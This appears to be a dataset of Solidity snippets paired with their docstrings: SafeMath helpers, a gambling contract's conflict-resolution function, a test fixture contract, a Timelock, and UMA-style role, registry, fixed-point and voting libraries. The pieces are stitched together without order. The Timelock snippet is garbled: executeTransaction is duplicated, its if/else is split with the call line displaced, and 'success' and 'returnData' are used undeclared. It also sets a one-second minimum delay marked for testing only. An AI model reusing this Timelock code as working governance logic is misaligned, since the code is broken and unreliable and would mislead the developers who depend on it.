* @dev Integer division of two unsigned integers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Integer division of two signed integers, truncating the quotient.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// Overflow only happens when the smallest negative int is multiplied by -1.
int256 INT256_MIN = int256((uint256(1) << 255));
assert(a != INT256_MIN || b != - 1);
return a / b;
}
/**
* @dev Subtracts two unsigned integers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Subtracts two signed integers, throws on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
assert((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Adds two signed integers, throws on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
}
|
* @dev Used by server if user does not end game session. @param _roundId Round id of bet. @param _gameType Game type of bet. @param _num Number of bet. @param _value Value of bet. @param _balance Balance before this bet. @param _serverHash Hash of server seed for this bet. @param _userHash Hash of user seed for this bet. @param _gameId Game session id. @param _contractAddress Address of this contract. @param _userSig User signature of this bet. @param _userAddress Address of user. @param _serverSeed Server seed for this bet. @param _userSeed User seed for this bet./
|
function serverEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _userSig,
address _userAddress,
bytes32 _serverSeed,
bytes32 _userSeed
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
serverEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_serverSeed,
_userSeed,
_gameId,
_userAddress
);
}
| 10,632,778
|
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pragma solidity ^0.5.10;
import "./SomeInterface.sol";
import "./DependentInterface.sol";
//import "./DependentInterface2.sol";
contract SomeImpl is SomeInterface {
enum SomeEnum { Yes, No, Maybe }
enum lowerCaseEnum { What, The }
SomeEnum someEnum = SomeEnum.Yes;
uint256 public somePublicNumber;
bool public somePublicBool;
string public somePublicString;
uint256[] public somePublicIntArray;
uint256 private somePrivateNumber;
bool private somePrivateBool;
string private somePrivateString;
uint256 internal someInternalNumber;
bool internal someInternalBool;
string internal someInternalString;
uint256[] private somePrivateIntArray;
uint256[][] public somePublicMultiArray;
DependentInterface public interfaceDependency;
// SomeInterface has a Storage reference type and a realization
SomeInterface public someInterface;
SomeStruct someStruct;
SomeStruct[] someStructs;
mapping (address => uint256) public balances;
mapping (address => bool) private whitelist;
mapping (address => mapping (address => string)) private nestedMapping;
mapping (address => SomeStruct) private mappingWithStruct;
struct SomeStruct {
bool valid;
uint256 count;
mapping (address => string) names;
mapping (address => AnotherStruct) balances;
}
struct AnotherStruct {
bool active;
uint256 balance;
YetAnotherStruct yos;
}
struct YetAnotherStruct {
bool active;
uint256[] balances;
}
event Add(uint256 beforeValue, uint256 afterValue);
modifier someModifier(bool someParam) {
require(somePublicNumber > 0, 'Can not be zero');
require(someParam, 'Invalid param');
_;
}
modifier modifierMultiParams(bool someParam, uint256 someInt) {
require(somePublicNumber > 0, 'Can not be zero');
require(someParam, 'Invalid someParam');
require(someInt != 0, 'Invalid someInt');
_;
}
function add(uint256 someNumber) public returns (uint256) {
somePublicNumber = somePublicNumber + someNumber;
return somePublicNumber;
}
function returnsTuple() public pure returns (bool, string memory) {
return (false, "testing");
}
function privatePure() private pure returns (bool success) {
return true;
}
function publicPure() public pure returns (bool success) {
return true;
}
function increment() public returns (uint256) {
return somePublicNumber++;
}
function privateReset() private {
somePublicNumber = 0;
}
function internalReset() internal {
somePublicNumber = 0;
}
function externalReset() external {
somePublicNumber = 0;
}
function publicPayable() public payable {
}
function externalPayable() public payable {
}
function twoStructs(SomeStruct memory struct1, SomeStruct memory struct2) internal pure
returns (bool) {
return struct1.count == struct2.count;
}
// fallback function
function() external {}
}
|
SomeInterface has a Storage reference type and a realization
|
contract SomeImpl is SomeInterface {
SomeEnum someEnum = SomeEnum.Yes;
uint256 public somePublicNumber;
bool public somePublicBool;
string public somePublicString;
uint256[] public somePublicIntArray;
uint256 private somePrivateNumber;
bool private somePrivateBool;
string private somePrivateString;
uint256 internal someInternalNumber;
bool internal someInternalBool;
string internal someInternalString;
uint256[] private somePrivateIntArray;
uint256[][] public somePublicMultiArray;
DependentInterface public interfaceDependency;
SomeInterface public someInterface;
SomeStruct someStruct;
SomeStruct[] someStructs;
mapping (address => uint256) public balances;
mapping (address => bool) private whitelist;
mapping (address => mapping (address => string)) private nestedMapping;
mapping (address => SomeStruct) private mappingWithStruct;
enum SomeEnum { Yes, No, Maybe }
enum lowerCaseEnum { What, The }
struct SomeStruct {
bool valid;
uint256 count;
mapping (address => string) names;
mapping (address => AnotherStruct) balances;
}
struct AnotherStruct {
bool active;
uint256 balance;
YetAnotherStruct yos;
}
struct YetAnotherStruct {
bool active;
uint256[] balances;
}
event Add(uint256 beforeValue, uint256 afterValue);
modifier someModifier(bool someParam) {
require(somePublicNumber > 0, 'Can not be zero');
require(someParam, 'Invalid param');
_;
}
modifier modifierMultiParams(bool someParam, uint256 someInt) {
require(somePublicNumber > 0, 'Can not be zero');
require(someParam, 'Invalid someParam');
require(someInt != 0, 'Invalid someInt');
_;
}
function add(uint256 someNumber) public returns (uint256) {
somePublicNumber = somePublicNumber + someNumber;
return somePublicNumber;
}
function returnsTuple() public pure returns (bool, string memory) {
return (false, "testing");
}
function privatePure() private pure returns (bool success) {
return true;
}
function publicPure() public pure returns (bool success) {
return true;
}
function increment() public returns (uint256) {
return somePublicNumber++;
}
function privateReset() private {
somePublicNumber = 0;
}
function internalReset() internal {
somePublicNumber = 0;
}
function externalReset() external {
somePublicNumber = 0;
}
function publicPayable() public payable {
}
function externalPayable() public payable {
}
function twoStructs(SomeStruct memory struct1, SomeStruct memory struct2) internal pure
returns (bool) {
return struct1.count == struct2.count;
}
function() external {}
}
| 6,461,956
|
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./full_match/4/0x79F19b0E0DF501dB96F8B9790bdfb7d78e95A96A/sources/contracts/Timelock.sol
|
NOTE: THESE VALUES ARE FOR TESTING ONLY!
|
contract Timelock {
using SafeMath for uint256;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 2 days;
uint256 public constant MINIMUM_DELAY = 1 seconds;
uint256 public constant MAXIMUM_DELAY = 5 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
mapping(bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint256 delay_) {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable {}
function setDelay(uint256 delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(
eta >= getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
} else {
(bool success, bytes memory returnData) = target.call{ value: value }(callData);
function getBlockTimestamp() internal view returns (uint256) {
return block.timestamp;
}
}
| 12,403,931
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pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
contract EncryptedSender {
struct TopicData {
// An (optional) public key used to encrypt messages for this topic. This is only necessary if the sender will
// not have access to the public key offchain.
bytes publicKey;
// The encrypted message.
bytes message;
}
struct Recipient {
// This maps from a hash to the data for this topic.
// Note: the hash is a hash of the "subject" or "topic" of the message.
mapping(bytes32 => TopicData) topics;
// This contains the set of all authorized senders for this recipient.
mapping(address => bool) authorizedSenders;
}
mapping(address => Recipient) private recipients;
/**
* @notice Authorizes `sender` to send messages to the caller.
*/
function addAuthorizedSender(address sender) external {
recipients[msg.sender].authorizedSenders[sender] = true;
}
/**
* @notice Revokes `sender`'s authorization to send messages to the caller.
*/
function removeAuthorizedSender(address sender) external {
recipients[msg.sender].authorizedSenders[sender] = false;
}
/**
* @notice Gets the current stored message corresponding to `recipient` and `topicHash`.
* @dev To decrypt messages (this requires access to the recipient's private keys), use the decryptMessage()
* function in common/Crypto.js.
*/
function getMessage(address recipient, bytes32 topicHash) external view returns (bytes memory) {
return recipients[recipient].topics[topicHash].message;
}
/**
* @notice Gets the stored public key for a particular `recipient` and `topicHash`. Return value will be 0 length
* if no public key has been set.
* @dev Senders may need this public key to encrypt messages that only the `recipient` can read. If the public key
* is communicated offchain, this field may be left empty.
*/
function getPublicKey(address recipient, bytes32 topicHash) external view returns (bytes memory) {
return recipients[recipient].topics[topicHash].publicKey;
}
/**
* @notice Sends `message` to `recipient_` categorized by a particular `topicHash`. This will overwrite any
* previous messages sent to this `recipient` with this `topicHash`.
* @dev To construct an encrypted message, use the encryptMessage() in common/Crypto.js.
* The public key for the recipient can be obtained using the getPublicKey() method.
*/
function sendMessage(address recipient_, bytes32 topicHash, bytes memory message) public {
Recipient storage recipient = recipients[recipient_];
require(isAuthorizedSender(msg.sender, recipient_), "Not authorized to send to this recipient");
recipient.topics[topicHash].message = message;
}
function removeMessage(address recipient_, bytes32 topicHash) public {
Recipient storage recipient = recipients[recipient_];
require(isAuthorizedSender(msg.sender, recipient_), "Not authorized to remove message");
delete recipient.topics[topicHash].message;
}
/**
* @notice Sets the public key for this caller and topicHash.
* @dev Note: setting the public key is optional - if the publicKey is communicated or can be derived offchain by
* the sender, there is no need to set it here. Because there are no specific requirements for the publicKey, there
* is also no verification of its validity other than its length.
*/
function setPublicKey(bytes memory publicKey, bytes32 topicHash) public {
require(publicKey.length == 64, "Public key is the wrong length");
recipients[msg.sender].topics[topicHash].publicKey = publicKey;
}
/**
* @notice Returns true if the `sender` is authorized to send to the `recipient`.
*/
function isAuthorizedSender(address sender, address recipient) public view returns (bool) {
// Note: the recipient is always authorized to send messages to themselves.
return recipients[recipient].authorizedSenders[sender] || recipient == sender;
}
}
library FixedPoint {
using SafeMath for uint;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// Can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint 10^77.
uint private constant FP_SCALING_FACTOR = 10**18;
struct Unsigned {
uint rawValue;
}
/** @dev Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5**18`. */
function fromUnscaledUint(uint a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/** @dev Whether `a` is greater than `b`. */
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/** @dev Whether `a` is greater than `b`. */
function isGreaterThan(Unsigned memory a, uint b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/** @dev Whether `a` is greater than `b`. */
function isGreaterThan(uint a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/** @dev Whether `a` is less than `b`. */
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/** @dev Whether `a` is less than `b`. */
function isLessThan(Unsigned memory a, uint b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/** @dev Whether `a` is less than `b`. */
function isLessThan(uint a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/** @dev Adds two `Unsigned`s, reverting on overflow. */
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/** @dev Adds an `Unsigned` to an unscaled uint, reverting on overflow. */
function add(Unsigned memory a, uint b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/** @dev Subtracts two `Unsigned`s, reverting on underflow. */
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/** @dev Subtracts an unscaled uint from an `Unsigned`, reverting on underflow. */
function sub(Unsigned memory a, uint b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/** @dev Subtracts an `Unsigned` from an unscaled uint, reverting on underflow. */
function sub(uint a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/** @dev Multiplies two `Unsigned`s, reverting on overflow. */
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/** @dev Multiplies an `Unsigned` by an unscaled uint, reverting on overflow. */
function mul(Unsigned memory a, uint b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/** @dev Divides with truncation two `Unsigned`s, reverting on overflow or division by 0. */
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/** @dev Divides with truncation an `Unsigned` by an unscaled uint, reverting on division by 0. */
function div(Unsigned memory a, uint b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/** @dev Divides with truncation an unscaled uint by an `Unsigned`, reverting on overflow or division by 0. */
function div(uint a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/** @dev Raises an `Unsigned` to the power of an unscaled uint, reverting on overflow. E.g., `b=2` squares `a`. */
function pow(Unsigned memory a, uint b) internal pure returns (Unsigned memory output) {
// TODO(ptare): Consider using the exponentiation by squaring technique instead:
// https://en.wikipedia.org/wiki/Exponentiation_by_squaring
output = fromUnscaledUint(1);
for (uint i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint => Role) private roles;
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
*/
function holdsRole(uint roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
require(false, "Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, exclusive role.
*/
function resetMember(uint roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
*/
function getMember(uint roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, shared role or if the caller is not a member of the
* managing role for `roleId`.
*/
function addMember(uint roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, shared role or if the caller is not a member of the
* managing role for `roleId`.
*/
function removeMember(uint roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(uint roleId, uint managingRoleId, address[] memory initialMembers)
internal
onlyInvalidRole(roleId)
{
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role");
}
/**
* @notice Internal method to initialize a exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(uint roleId, uint managingRoleId, address initialMember)
internal
onlyInvalidRole(roleId)
{
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role");
}
}
interface OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Returns the time at which the user should expect the price to be resolved. 0 means the price has already
* been resolved.
*/
function requestPrice(bytes32 identifier, uint time) external returns (uint expectedTime);
/**
* @notice Whether the Oracle provides prices for this identifier.
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
/**
* @notice Whether the price for `identifier` and `time` is available.
*/
function hasPrice(bytes32 identifier, uint time) external view returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
*/
function getPrice(bytes32 identifier, uint time) external view returns (int price);
}
interface RegistryInterface {
/**
* @dev Registers a new derivative. Only authorized derivative creators can call this method.
*/
function registerDerivative(address[] calldata counterparties, address derivativeAddress) external;
/**
* @dev Returns whether the derivative has been registered with the registry (and is therefore an authorized.
* participant in the UMA system).
*/
function isDerivativeRegistered(address derivative) external view returns (bool isRegistered);
/**
* @dev Returns a list of all derivatives that are associated with a particular party.
*/
function getRegisteredDerivatives(address party) external view returns (address[] memory derivatives);
/**
* @dev Returns all registered derivatives.
*/
function getAllRegisteredDerivatives() external view returns (address[] memory derivatives);
}
contract Registry is RegistryInterface, MultiRole {
using SafeMath for uint;
enum Roles {
// The owner manages the set of DerivativeCreators.
Owner,
// Can register derivatives.
DerivativeCreator
}
// Array of all derivatives that are approved to use the UMA Oracle.
address[] private registeredDerivatives;
// This enum is required because a WasValid state is required to ensure that derivatives cannot be re-registered.
enum PointerValidity {
Invalid,
Valid
}
struct Pointer {
PointerValidity valid;
uint128 index;
}
// Maps from derivative address to a pointer that refers to that registered derivative in `registeredDerivatives`.
mapping(address => Pointer) private derivativePointers;
// Note: this must be stored outside of `registeredDerivatives` because mappings cannot be deleted and copied
// like normal data. This could be stored in the Pointer struct, but storing it there would muddy the purpose
// of the Pointer struct and break separation of concern between referential data and data.
struct PartiesMap {
mapping(address => bool) parties;
}
// Maps from derivative address to the set of parties that are involved in that derivative.
mapping(address => PartiesMap) private derivativesToParties;
event NewDerivativeRegistered(address indexed derivativeAddress, address indexed creator, address[] parties);
constructor() public {
_createExclusiveRole(uint(Roles.Owner), uint(Roles.Owner), msg.sender);
// Start with no derivative creators registered.
_createSharedRole(uint(Roles.DerivativeCreator), uint(Roles.Owner), new address[](0));
}
function registerDerivative(address[] calldata parties, address derivativeAddress)
external
onlyRoleHolder(uint(Roles.DerivativeCreator))
{
// Create derivative pointer.
Pointer storage pointer = derivativePointers[derivativeAddress];
// Ensure that the pointer was not valid in the past (derivatives cannot be re-registered or double
// registered).
require(pointer.valid == PointerValidity.Invalid);
pointer.valid = PointerValidity.Valid;
registeredDerivatives.push(derivativeAddress);
// No length check necessary because we should never hit (2^127 - 1) derivatives.
pointer.index = uint128(registeredDerivatives.length.sub(1));
// Set up PartiesMap for this derivative.
PartiesMap storage partiesMap = derivativesToParties[derivativeAddress];
for (uint i = 0; i < parties.length; i = i.add(1)) {
partiesMap.parties[parties[i]] = true;
}
address[] memory partiesForEvent = parties;
emit NewDerivativeRegistered(derivativeAddress, msg.sender, partiesForEvent);
}
function isDerivativeRegistered(address derivative) external view returns (bool isRegistered) {
return derivativePointers[derivative].valid == PointerValidity.Valid;
}
function getRegisteredDerivatives(address party) external view returns (address[] memory derivatives) {
// This is not ideal - we must statically allocate memory arrays. To be safe, we make a temporary array as long
// as registeredDerivatives. We populate it with any derivatives that involve the provided party. Then, we copy
// the array over to the return array, which is allocated using the correct size. Note: this is done by double
// copying each value rather than storing some referential info (like indices) in memory to reduce the number
// of storage reads. This is because storage reads are far more expensive than extra memory space (~100:1).
address[] memory tmpDerivativeArray = new address[](registeredDerivatives.length);
uint outputIndex = 0;
for (uint i = 0; i < registeredDerivatives.length; i = i.add(1)) {
address derivative = registeredDerivatives[i];
if (derivativesToParties[derivative].parties[party]) {
// Copy selected derivative to the temporary array.
tmpDerivativeArray[outputIndex] = derivative;
outputIndex = outputIndex.add(1);
}
}
// Copy the temp array to the return array that is set to the correct size.
derivatives = new address[](outputIndex);
for (uint j = 0; j < outputIndex; j = j.add(1)) {
derivatives[j] = tmpDerivativeArray[j];
}
}
function getAllRegisteredDerivatives() external view returns (address[] memory derivatives) {
return registeredDerivatives;
}
}
library ResultComputation {
using FixedPoint for FixedPoint.Unsigned;
struct Data {
// Maps price to number of tokens that voted for that price.
mapping(int => FixedPoint.Unsigned) voteFrequency;
// The total votes that have been added.
FixedPoint.Unsigned totalVotes;
// The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`.
int currentMode;
}
/**
* @dev Returns whether the result is resolved, and if so, what value it resolved to. `price` should be ignored if
* `isResolved` is false.
* @param minVoteThreshold Minimum number of tokens that must have been voted for the result to be valid. Can be
* used to enforce a minimum voter participation rate, regardless of how the votes are distributed.
*/
function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold)
internal
view
returns (bool isResolved, int price)
{
// TODO(ptare): Figure out where this parameter is supposed to come from.
FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100);
if (data.totalVotes.isGreaterThan(minVoteThreshold) &&
data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold)) {
// `modeThreshold` and `minVoteThreshold` are met, so the current mode is the resolved price.
isResolved = true;
price = data.currentMode;
} else {
isResolved = false;
}
}
/**
* @dev Adds a new vote to be used when computing the result.
*/
function addVote(Data storage data, int votePrice, FixedPoint.Unsigned memory numberTokens)
internal
{
data.totalVotes = data.totalVotes.add(numberTokens);
data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens);
if (votePrice != data.currentMode
&& data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode])) {
data.currentMode = votePrice;
}
}
/**
* @dev Checks whether a `voteHash` is considered correct. Should only be called after a vote is resolved, i.e.,
* via `getResolvedPrice`.
*/
function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) {
return voteHash == keccak256(abi.encode(data.currentMode));
}
/**
* @dev Gets the total number of tokens whose votes are considered correct. Should only be called after a vote is
* resolved, i.e., via `getResolvedPrice`.
*/
function getTotalCorrectlyVotedTokens(Data storage data)
internal
view
returns (FixedPoint.Unsigned memory)
{
return data.voteFrequency[data.currentMode];
}
}
contract Testable {
// Is the contract being run on the test network. Note: this variable should be set on construction and never
// modified.
